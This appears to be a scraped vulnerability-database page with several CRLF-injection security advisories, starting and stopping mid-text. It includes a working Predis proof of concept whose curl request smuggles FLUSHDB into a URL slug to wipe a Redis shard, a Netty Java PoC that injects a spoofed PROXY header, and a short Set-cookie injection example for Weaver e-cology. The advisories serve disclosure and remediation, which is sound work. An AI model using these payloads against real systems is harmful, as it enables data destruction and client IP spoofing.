Affected versions. Introduced in v3.0.0 by PR #1438 ("Improved pipeline abstractions"). Affected range: 3.0.0-RC1 through 3.2.0 (v3.0.0-alpha1 is not affected — the vulnerable code was added after it). v1.x and v2.x are not affected; their pipelines write per-command via writeRequest() and the vulnerable code path does not exist.

Only pipeline() reaches the vulnerable sink; transaction() / MULTI paths do not.

Proof of concept

Two plain redis:8 containers acting as two shards (PredisCluster shards client-side, so Redis itself need not be in cluster mode); a PHP app on a vulnerable Predis checkout (e.g. v3.2.0).

docker-compose.yml:

services:
  redis1:
    image: redis:8
    ports: ["6391:6379"]
  redis2:
    image: redis:8
    ports: ["6392:6379"]

index.php (a normal-looking app — slug from URL → cache lookup):

<?php
require __DIR__ . '/vendor/autoload.php';

$nodes  = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];
$client = new Predis\Client($nodes, ['cluster' => 'predis',
            'parameters' => ['read_write_timeout' => 2]]);

if (isset($_GET['seed'])) {
    for ($i = 1; $i <= 100; $i++) { $client->set("user:$i", "data$i"); }
    exit('seeded');
}

$slug = $_GET['slug'] ?? '';
try {
    [$doc] = $client->pipeline()->get("slug:$slug")->execute();
    echo $doc ?: 'no such slug';
} catch (Throwable $e) {
    http_response_code(500);
    echo get_class($e);
}

Run:

composer require predis/predis:3.2.0
docker compose up -d
php -S 127.0.0.1:8080 -t .
curl 'http://127.0.0.1:8080/?seed'                       # 100 keys

Attack (smuggled FLUSHDB inside the slug):

curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'

The slug's first line must hash to a different shard than the fake key 'key' (otherwise the truncated bytes swallow the injection and the request simply 404s). With two shards this is ~50% per attempt — retry PAD0, PAD1, … until the request returns 500. More shards make the attack easier: the per-attempt hit probability is (N-1)/N, so on production clusters with many shards the first request succeeds with near-certainty.

Verified result: dbsize across both shards drops 100 → 62; one shard was wiped by a FLUSHDB the application never issued (it only ever ran GET/SET on normal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent of commit 053cb4b6 and fails on 053cb4b6.

Impact

CWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command injection / protocol smuggling and denial of service. Any application on predis/predis 3.0.0-RC1 – 3.2.0 that calls pipeline() on a cluster or replication connection and includes attacker-influenced data (values or keys — e.g. cache keys built from URL slugs) in the pipelined commands is affected. This is a common pattern for cache lookups, sessions and queued writes.

  • Cluster: unauthenticated remote command injection — shard-wide cache wipe (FLUSHDB), targeted destruction (DEL), cache poisoning (SET), same-slot key theft (GET), node memory exhaustion (key flood), possible cluster outage (CLUSTER FLUSHSLOTS).
  • Replication: reliable unauthenticated DoS on every affected request.

Remediation

Upgrade to predis/predis 3.3.0 or later. The fix (PR #1586, commit 053cb4b6) makes pipelines on aggregate connections write each command using the real Command object, eliminating the second, byte-splitting parser.

Users who cannot upgrade immediately should avoid calling pipeline() on aggregate (cluster / replication) connections with any attacker-influenced keys or values; there is no reliable in-application way to neutralize the embedded \r\n while the second parser remains in the code path.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "predis/predis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-RC1"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84372"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T20:57:50Z",
    "nvd_published_at": "2026-09-01T22:17:18Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAn improper CRLF neutralization flaw in Predis\u0027 pipeline handling on\naggregate connections lets an unauthenticated attacker who can influence any\npipelined argument \u2014 a value **or** a key, e.g. a URL slug used as a cache key \u2014\nsmuggle arbitrary Redis commands into the connection.\n\n- On **cluster** connections (`cluster` option, incl. client-side sharding) this\n  is remote command injection: shard-wide `FLUSHDB`, targeted `DEL`/`SET`,\n  same-slot key theft via `GET`, cache poisoning, and possible node/cluster\n  outage.\n- On **replication** connections (`replication` option) it is a reliable,\n  repeatable denial of service (uncaught fatal error) triggered by any value\n  containing `\\r\\n`.\n\n### Details\n\nWhen a pipeline is executed over an aggregate connection,\n`AbstractAggregateConnection::write()` re-parses the already-serialized pipeline\nbuffer with `explode(\"\\r\\n\")` instead of honoring RESP length prefixes:\n\n- https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94\n  - splits the buffer on `\\r\\n`, ignoring `$\u003clen\u003e` bulk lengths,\n  - rebuilds each chunk via `Command::deserializeCommand()`\n    (https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157)\n    to decide routing,\n  - writes each chunk to the connection chosen for that (fake) command.\n\nRESP is length-prefixed, so the Redis **server** parses the original stream\ncorrectly \u2014 but this second, client-side parser treats attacker-controlled\n`\\r\\n` sequences as command boundaries. An argument such as:\n\n    PAD\\r\\n*1\\r\\n$7\\r\\nFLUSHDB\n\nis a single data value to the server, but a complete, valid `FLUSHDB` command to\nthe re-parser. The consequence depends on the connection type:\n\n- **Replication:** a pipeline forces `switchToMaster()`, so all chunks go to the\n  master and the byte stream stays intact \u2014 but the misaligned chunk makes\n  `deserializeCommand()` throw an uncaught `UnexpectedValueException: Invalid\n  serializing format`. Any value containing `\\r\\n` (binary serializers such as\n  igbinary/msgpack, or multi-line text) reliably crashes the request. This is\n  the crash tracked in #1574 \u2014 an unauthenticated, repeatable DoS.\n- **Cluster:** chunks are routed to different nodes by slot, so the byte stream\n  is split across sockets. The smuggled command arrives on a node whose stream\n  is clean and is **executed**, though the application never sent it:\n  - `FLUSHDB` wipes an entire shard. It has no key but is routable because\n    `ClusterStrategy::getFakeKey()` hardcodes the fake key `\u0027key\u0027`\n    (https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56\n    and #L243-L246), so the smuggled command always lands on the node serving\n    `slot(\u0027key\u0027)`.\n  - `INFO` (same fake-key routing) leaks server configuration via orphaned\n    responses; `CLUSTER FLUSHSLOTS` can take a node down.\n  - Same-slot `GET`/`SET`/`DEL` allow key theft (the reply is attributed to the\n    application\u0027s own later command on that slot), cache poisoning and targeted\n    data destruction; junk-key floods can exhaust node memory (OOM / mass\n    eviction of legitimate keys).\n  - Lua execution is **not** reachable: `EVAL` cannot be reconstructed (the\n    class is `EVAL_` due to the PHP reserved word), `EVAL_RO` fails the `Keys`\n    trait validation, and `EVALSHA` requires a pre-loaded script. This is\n    accidental, not a designed mitigation, and does not reduce severity \u2014\n    `FLUSHDB`/`DEL`/`SET` alone already permit full cache wipes and data\n    destruction.\n\n**Affected versions.** Introduced in v3.0.0 by PR #1438 (\"Improved pipeline\nabstractions\"). Affected range: **3.0.0-RC1 through 3.2.0** (v3.0.0-alpha1 is not\naffected \u2014 the vulnerable code was added after it). v1.x and v2.x are not\naffected; their pipelines write per-command via `writeRequest()` and the\nvulnerable code path does not exist.\n\nOnly `pipeline()` reaches the vulnerable sink; `transaction()` / `MULTI` paths do\nnot.\n\n### Proof of concept\n\nTwo plain `redis:8` containers acting as two shards (PredisCluster shards\nclient-side, so Redis itself need not be in cluster mode); a PHP app on a\nvulnerable Predis checkout (e.g. v3.2.0).\n\n`docker-compose.yml`:\n\n    services:\n      redis1:\n        image: redis:8\n        ports: [\"6391:6379\"]\n      redis2:\n        image: redis:8\n        ports: [\"6392:6379\"]\n\n`index.php` (a normal-looking app \u2014 slug from URL \u2192 cache lookup):\n\n    \u003c?php\n    require __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n    $nodes  = [\u0027tcp://127.0.0.1:6391\u0027, \u0027tcp://127.0.0.1:6392\u0027];\n    $client = new Predis\\Client($nodes, [\u0027cluster\u0027 =\u003e \u0027predis\u0027,\n                \u0027parameters\u0027 =\u003e [\u0027read_write_timeout\u0027 =\u003e 2]]);\n\n    if (isset($_GET[\u0027seed\u0027])) {\n        for ($i = 1; $i \u003c= 100; $i++) { $client-\u003eset(\"user:$i\", \"data$i\"); }\n        exit(\u0027seeded\u0027);\n    }\n\n    $slug = $_GET[\u0027slug\u0027] ?? \u0027\u0027;\n    try {\n        [$doc] = $client-\u003epipeline()-\u003eget(\"slug:$slug\")-\u003eexecute();\n        echo $doc ?: \u0027no such slug\u0027;\n    } catch (Throwable $e) {\n        http_response_code(500);\n        echo get_class($e);\n    }\n\nRun:\n\n    composer require predis/predis:3.2.0\n    docker compose up -d\n    php -S 127.0.0.1:8080 -t .\n    curl \u0027http://127.0.0.1:8080/?seed\u0027                       # 100 keys\n\nAttack (smuggled `FLUSHDB` inside the slug):\n\n    curl \u0027http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB\u0027\n\nThe slug\u0027s first line must hash to a different shard than the fake key `\u0027key\u0027`\n(otherwise the truncated bytes swallow the injection and the request simply\n404s). With two shards this is ~50% per attempt \u2014 retry `PAD0`, `PAD1`, \u2026 until\nthe request returns 500. More shards make the attack **easier**: the per-attempt\nhit probability is `(N-1)/N`, so on production clusters with many shards the\nfirst request succeeds with near-certainty.\n\nVerified result: `dbsize` across both shards drops 100 \u2192 62; one shard was wiped\nby a `FLUSHDB` the application never issued (it only ever ran `GET`/`SET` on\nnormal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent\nof commit `053cb4b6` and fails on `053cb4b6`.\n\n### Impact\n\nCWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command\ninjection / protocol smuggling and denial of service. Any application on\n**predis/predis 3.0.0-RC1 \u2013 3.2.0** that calls `pipeline()` on a cluster or\nreplication connection and includes attacker-influenced data (values **or**\nkeys \u2014 e.g. cache keys built from URL slugs) in the pipelined commands is\naffected. This is a common pattern for cache lookups, sessions and queued\nwrites.\n\n- **Cluster:** unauthenticated remote command injection \u2014 shard-wide cache wipe\n  (`FLUSHDB`), targeted destruction (`DEL`), cache poisoning (`SET`), same-slot\n  key theft (`GET`), node memory exhaustion (key flood), possible cluster outage\n  (`CLUSTER FLUSHSLOTS`).\n- **Replication:** reliable unauthenticated DoS on every affected request.\n\n### Remediation\n\nUpgrade to **predis/predis 3.3.0 or later**. The fix (PR #1586, commit\n`053cb4b6`) makes pipelines on aggregate connections write each command using the\nreal `Command` object, eliminating the second, byte-splitting parser.\n\nUsers who cannot upgrade immediately should avoid calling `pipeline()` on\naggregate (cluster / replication) connections with any attacker-influenced keys\nor values; there is no reliable in-application way to neutralize the embedded\n`\\r\\n` while the second parser remains in the code path.",
  "id": "GHSA-w6f5-v2h6-g786",
  "modified": "2026-09-08T20:57:51Z",
  "published": "2026-09-08T20:57:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/predis/predis/security/advisories/GHSA-w6f5-v2h6-g786"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84372"
    },
    {
      "type": "WEB",
      "url": "https://github.com/predis/predis/issues/1574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/predis/predis/pull/1586"
    },
    {
      "type": "WEB",
      "url": "https://github.com/predis/predis/commit/053cb4b6ac7fb1f469ead96a78d059bc0458e408"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/predis/predis"
    },
    {
      "type": "WEB",
      "url": "https://github.com/predis/predis/releases/tag/v3.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections"
}

GHSA-WCF2-GQG7-88P4

Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2024-04-04 00:20
VLAI
Details

An issue was discovered in Weaver e-cology 9.0. There is a CRLF Injection vulnerability via the /workflow/request/ViewRequestForwardSPA.jsp isintervenor parameter, as demonstrated by the %0aSet-cookie: substring.

Severity
6.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-10272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-30T18:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Weaver e-cology 9.0. There is a CRLF Injection vulnerability via the /workflow/request/ViewRequestForwardSPA.jsp isintervenor parameter, as demonstrated by the %0aSet-cookie: substring.",
  "id": "GHSA-wcf2-gqg7-88p4",
  "modified": "2024-04-04T00:20:26Z",
  "published": "2022-05-24T16:44:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10272"
    },
    {
      "type": "WEB",
      "url": "https://expzh.com/Weaver-e-cology9.0-CRLF-Injection.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.weaver.com.cn/cs/securityDownload.asp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WF8M-G4W9-3RC5

Vulnerability from github – Published: 2026-08-28 12:30 – Updated: 2026-08-28 12:30
VLAI
Details

Mail content stored by a user can be crafted so that it is interpreted as dsync protocol commands when an administrator later runs dsync with the stream protocol, for example during a migration. Injected commands can modify mailbox state on the destination during migration or replication, including internal mailbox attributes that a user should not be able to set directly. It can also cause dsync errors. Avoid running dsync with the stream protocol on mailboxes with untrusted content. Update to non-vulnerable version. No publicly available exploits are known.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-33606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-28T12:16:27Z",
    "severity": "MODERATE"
  },
  "details": "Mail content stored by a user can be crafted so that it is interpreted as dsync protocol commands when an administrator later runs dsync with the stream protocol, for example during a migration. Injected commands can modify mailbox state on the destination during migration or replication, including internal mailbox attributes that a user should not be able to set directly. It can also cause dsync errors. Avoid running dsync with the stream protocol on mailboxes with untrusted content. Update to non-vulnerable version. No publicly available exploits are known.",
  "id": "GHSA-wf8m-g4w9-3rc5",
  "modified": "2026-08-28T12:30:25Z",
  "published": "2026-08-28T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33606"
    },
    {
      "type": "WEB",
      "url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0003.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WH89-7897-X99H

Vulnerability from github – Published: 2026-07-22 21:51 – Updated: 2026-07-22 21:51
VLAI
Summary
Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address
Details

Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions with codec-haproxy)
Component io.netty.handler.codec.haproxy.HAProxyMessageEncoder
Vulnerability Type CWE-93: Improper Neutralization of CRLF Sequences
Impact HAProxy PROXY Protocol Injection / Client IP Spoofing
CVSS 3.1 Score 7.5 (High)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

2. Affected Components

  • io.netty.handler.codec.haproxy.HAProxyMessageEncoder — encodeV1() method (lines 63-77): writes sourceAddress and destinationAddress directly to output without CRLF validation
  • io.netty.handler.codec.haproxy.HAProxyMessage — constructor checkAddress() validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)

3. Vulnerability Description

Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.

Root Cause — Encoder

// HAProxyMessageEncoder.java:63-77
private static void encodeV1(HAProxyMessage msg, ByteBuf out) {
    out.writeBytes(TEXT_PREFIX);                                    // "PROXY "
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM"
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // <-- NO CRLF CHECK
    out.writeByte((byte) ' ');
    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // <-- NO CRLF CHECK
    out.writeByte((byte) ' ');
    // ...
    out.writeByte((byte) '\r');
    out.writeByte((byte) '\n');
}

Root Cause — Insufficient Address Validation

// HAProxyMessage.java:428-442
private static void checkAddress(String address, AddressFamily addrFamily) {
    switch (addrFamily) {
        case AF_UNIX:
            ObjectUtil.checkNotNull(address, "address");
            if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {
                throw new IllegalArgumentException("invalid AF_UNIX address: " + address);
            }
            return;  // ONLY checks length <= 108, NO CRLF validation!
        case AF_IPv4:
            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF
        case AF_IPv6:
            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF
    }
}

IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 — any characters including CRLF are accepted.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

  1. An application uses Netty's HAProxyMessageEncoder to construct HAProxy V1 protocol headers
  2. AF_UNIX (UNIX_STREAM or UNIX_DGRAM) addresses contain user-controlled input
  3. The encoded PROXY header is sent to a downstream server or load balancer

Affected use cases: - PROXY protocol relays that construct AF_UNIX messages from upstream data - Load balancer integrations where socket paths come from configuration or external sources - Multi-tenant proxies that dynamically construct PROXY headers

5. Attack Scenario

Client IP Spoofing via Second PROXY Line Injection

String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";

HAProxyMessage msg = new HAProxyMessage(
    HAProxyProtocolVersion.V1,
    HAProxyCommand.PROXY,
    HAProxyProxiedProtocol.UNIX_STREAM,
    maliciousAddr,                    // CRLF-injected source address
    "/var/run/dest.sock",
    0, 0);

Wire format sent to backend:

PROXY UNIX_STREAM /var/run/app.sock
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0

The backend receives two PROXY lines. Depending on implementation: - HAProxy: may use the first line and ignore the second - Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1 - This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not

6. Proof of Concept

Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.haproxy.*;
import java.nio.charset.StandardCharsets;

public class HAProxyUnixCRLFPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n");

        String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
        String destAddr = "/var/run/dest.sock";

        HAProxyMessage msg = new HAProxyMessage(
            HAProxyProtocolVersion.V1,
            HAProxyCommand.PROXY,
            HAProxyProxiedProtocol.UNIX_STREAM,
            maliciousAddr, destAddr, 0, 0);

        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);
        ch.writeOutbound(msg);

        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }

        int proxyCount = 0;
        for (String line : encoded.split("\r\n")) {
            if (line.startsWith("PROXY")) proxyCount++;
        }
        System.out.println("PROXY lines: " + proxyCount);
        System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));
    }
}

How to Compile and Run

JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')
javac -cp "$JARS" HAProxyUnixCRLFPoC.java
java -cp "$JARS:." HAProxyUnixCRLFPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HAProxy AF_UNIX CRLF Injection PoC ===

[TEST 1] AF_UNIX Source Address CRLF Injection
------------------------------------------------
  Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"
  Wire format:
    PROXY UNIX_STREAM /var/run/app.sock\r
    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r

  PROXY lines found: 2
  VULNERABLE: YES - Second PROXY line injected!

7. Remediation Recommendations

Option 1: Validate AF_UNIX Addresses for CRLF

// HAProxyMessage.java checkAddress() - add for AF_UNIX:
case AF_UNIX:
    ObjectUtil.checkNotNull(address, "address");
    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);
    if (addrBytes.length > 108) {
        throw new IllegalArgumentException("invalid AF_UNIX address: too long");
    }
    for (byte b : addrBytes) {
        if (b == '\r' || b == '\n') {
            throw new IllegalArgumentException(
                "AF_UNIX address contains prohibited CRLF character");
        }
    }
    return;

Option 2: Validate in Encoder

// HAProxyMessageEncoder.java encodeV1() - validate before writing:
private static void validateV1Address(String address) {
    for (int i = 0; i < address.length(); i++) {
        char c = address.charAt(i);
        if (c == '\r' || c == '\n' || c == ' ') {
            throw new HAProxyProtocolException(
                "V1 address contains prohibited character at index " + i);
        }
    }
}

8. References

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-haproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-haproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:51:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-haproxy) |\n| **Component** | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences |\n| **Impact** | HAProxy PROXY Protocol Injection / Client IP Spoofing |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` \u2014 `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation\n- `io.netty.handler.codec.haproxy.HAProxyMessage` \u2014 constructor `checkAddress()` validates IPv4/IPv6 format but **only checks length for AF_UNIX** (line 439)\n\n## 3. Vulnerability Description\n\nNetty\u0027s HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format **without validating for CRLF characters**. The V1 protocol uses CRLF (`\\r\\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.\n\n### Root Cause \u2014 Encoder\n\n```java\n// HAProxyMessageEncoder.java:63-77\nprivate static void encodeV1(HAProxyMessage msg, ByteBuf out) {\n    out.writeBytes(TEXT_PREFIX);                                    // \"PROXY \"\n    out.writeByte((byte) \u0027 \u0027);\n    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // \"UNIX_STREAM\"\n    out.writeByte((byte) \u0027 \u0027);\n    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // \u003c-- NO CRLF CHECK\n    out.writeByte((byte) \u0027 \u0027);\n    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // \u003c-- NO CRLF CHECK\n    out.writeByte((byte) \u0027 \u0027);\n    // ...\n    out.writeByte((byte) \u0027\\r\u0027);\n    out.writeByte((byte) \u0027\\n\u0027);\n}\n```\n\n### Root Cause \u2014 Insufficient Address Validation\n\n```java\n// HAProxyMessage.java:428-442\nprivate static void checkAddress(String address, AddressFamily addrFamily) {\n    switch (addrFamily) {\n        case AF_UNIX:\n            ObjectUtil.checkNotNull(address, \"address\");\n            if (address.getBytes(CharsetUtil.US_ASCII).length \u003e 108) {\n                throw new IllegalArgumentException(\"invalid AF_UNIX address: \" + address);\n            }\n            return;  // ONLY checks length \u003c= 108, NO CRLF validation!\n        case AF_IPv4:\n            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF\n        case AF_IPv6:\n            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF\n    }\n}\n```\n\nIPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But **AF_UNIX addresses only check `length \u003c= 108`** \u2014 any characters including CRLF are accepted.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses Netty\u0027s `HAProxyMessageEncoder` to construct HAProxy V1 protocol headers\n2. AF_UNIX (`UNIX_STREAM` or `UNIX_DGRAM`) addresses contain user-controlled input\n3. The encoded PROXY header is sent to a downstream server or load balancer\n\n**Affected use cases**:\n- PROXY protocol relays that construct AF_UNIX messages from upstream data\n- Load balancer integrations where socket paths come from configuration or external sources\n- Multi-tenant proxies that dynamically construct PROXY headers\n\n## 5. Attack Scenario\n\n### Client IP Spoofing via Second PROXY Line Injection\n\n```java\nString maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n\nHAProxyMessage msg = new HAProxyMessage(\n    HAProxyProtocolVersion.V1,\n    HAProxyCommand.PROXY,\n    HAProxyProxiedProtocol.UNIX_STREAM,\n    maliciousAddr,                    // CRLF-injected source address\n    \"/var/run/dest.sock\",\n    0, 0);\n```\n\n**Wire format sent to backend**:\n```\nPROXY UNIX_STREAM /var/run/app.sock\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\n```\n\nThe backend receives **two PROXY lines**. Depending on implementation:\n- HAProxy: may use the first line and ignore the second\n- Other implementations: may use the **second** line, treating the connection as TCP4 from `10.0.0.1`\n- This enables **client IP spoofing** \u2014 the backend believes the client is `10.0.0.1` when it\u0027s not\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.haproxy.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HAProxyUnixCRLFPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\\n\");\n\n        String maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n        String destAddr = \"/var/run/dest.sock\";\n\n        HAProxyMessage msg = new HAProxyMessage(\n            HAProxyProtocolVersion.V1,\n            HAProxyCommand.PROXY,\n            HAProxyProxiedProtocol.UNIX_STREAM,\n            maliciousAddr, destAddr, 0, 0);\n\n        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);\n        ch.writeOutbound(msg);\n\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n\n        int proxyCount = 0;\n        for (String line : encoded.split(\"\\r\\n\")) {\n            if (line.startsWith(\"PROXY\")) proxyCount++;\n        }\n        System.out.println(\"PROXY lines: \" + proxyCount);\n        System.out.println(\"VULNERABLE: \" + (proxyCount \u003e 1 ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\njavac -cp \"$JARS\" HAProxyUnixCRLFPoC.java\njava -cp \"$JARS:.\" HAProxyUnixCRLFPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n\n[TEST 1] AF_UNIX Source Address CRLF Injection\n------------------------------------------------\n  Source 